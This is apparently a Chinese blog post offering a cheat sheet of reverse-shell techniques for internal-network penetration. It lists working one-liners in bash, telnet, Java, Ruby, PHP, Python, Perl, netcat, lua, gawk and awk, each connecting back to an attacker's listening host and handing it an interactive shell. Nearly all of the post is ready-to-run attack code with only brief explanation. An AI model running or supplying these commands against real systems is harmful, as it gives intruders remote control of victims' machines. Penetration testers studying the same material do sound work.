内网渗透之反弹shell的几种姿势

主要反弹方式

首先vps监听:nc –l –vv –p port

1.bash反弹
利用系统特殊设备文件/dev/tcp建立socket发出去,达到反弹shell的效果
bash -i>& /dev/tcp/ip/port 0>&1

2.telnet反弹
适用于nc不可用或者/dev/tcp不可用条件下,其中mknod是创建设备文件
mknod test p && telnet ip port 0<test | /bin/bash 1>test

3.Java

1
2
3
r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/ip/port;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()

4.Ruby

1
ruby -rsocket -e'f=TCPSocket.open("ip",port).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

不依赖于/bin/sh的shell:

1
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("ip","port");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

5.PHP
php -r '$sock=fsockopen("ip",port);exec("/bin/sh -i <&3 >&3 2>&3");'

6.Python(2.7)

1
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ip",port));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

另外的形式:

1
python -c "exec(\"import socket, subprocess;s = socket.socket();s.connect(('ip',port))\nwhile 1:  proc = subprocess.Popen(s.recv(1024), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE);s.send(proc.stdout.read()+proc.stderr.read())\")"

7.Perl

1
perl -e 'use Socket;$i="ip";$p=port;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

不依赖于/bin/sh的shell:

1
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"attackerip:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

18-1

8.nc
linux:nc -e /bin/sh ip port
Windows:nc -e cmd.exe ip port
当不能使用-e参数时:

1
2
3
mknod backpipe p && nc ip port 0<backpipe | /bin/bash 1>backpipe
/bin/sh | nc ip port
rm -f /tmp/p; mknod /tmp/p p && nc ip port 0/tmp/

nc版本有问题时:
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ip port >/tmp/f

9.lua

1
lua -e "require('socket');require('os');t=socket.tcp();t:connect('ip','port');os.execute('/bin/sh -i <&3 >&3 2>&3');"

10.gawk

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#!/usr/bin/gawk -f

BEGIN {
Port = 8080
Prompt = "bkd> "

Service = "/inet/tcp/" Port "/0/0"
while (1) {
do {
printf Prompt |& Service
Service |& getline cmd
if (cmd) {
while ((cmd |& getline) > 0)
print $0 |& Service
close(cmd)
}
} while (cmd != "exit")
close(Service)
}
}

11、awk

1
awk 'BEGIN{s="/inet/tcp/0/192.168.1.128/8080";for(;s|&getline c;close(c))while(c|getline)print|&s;close(s)}'

参考链接:
http://www.freebuf.com/articles/system/147768.html
https://www.cnblogs.com/r00tgrok/p/reverse_shell_cheatsheet.html

-------------本文结束感谢您的阅读-------------
  • Post author: SuNu11
  • Post link: http://sunu11.com/2018/01/26/18/
  • Copyright Notice: All articles in this blog are licensed under BY-NC-SA unless stating additionally.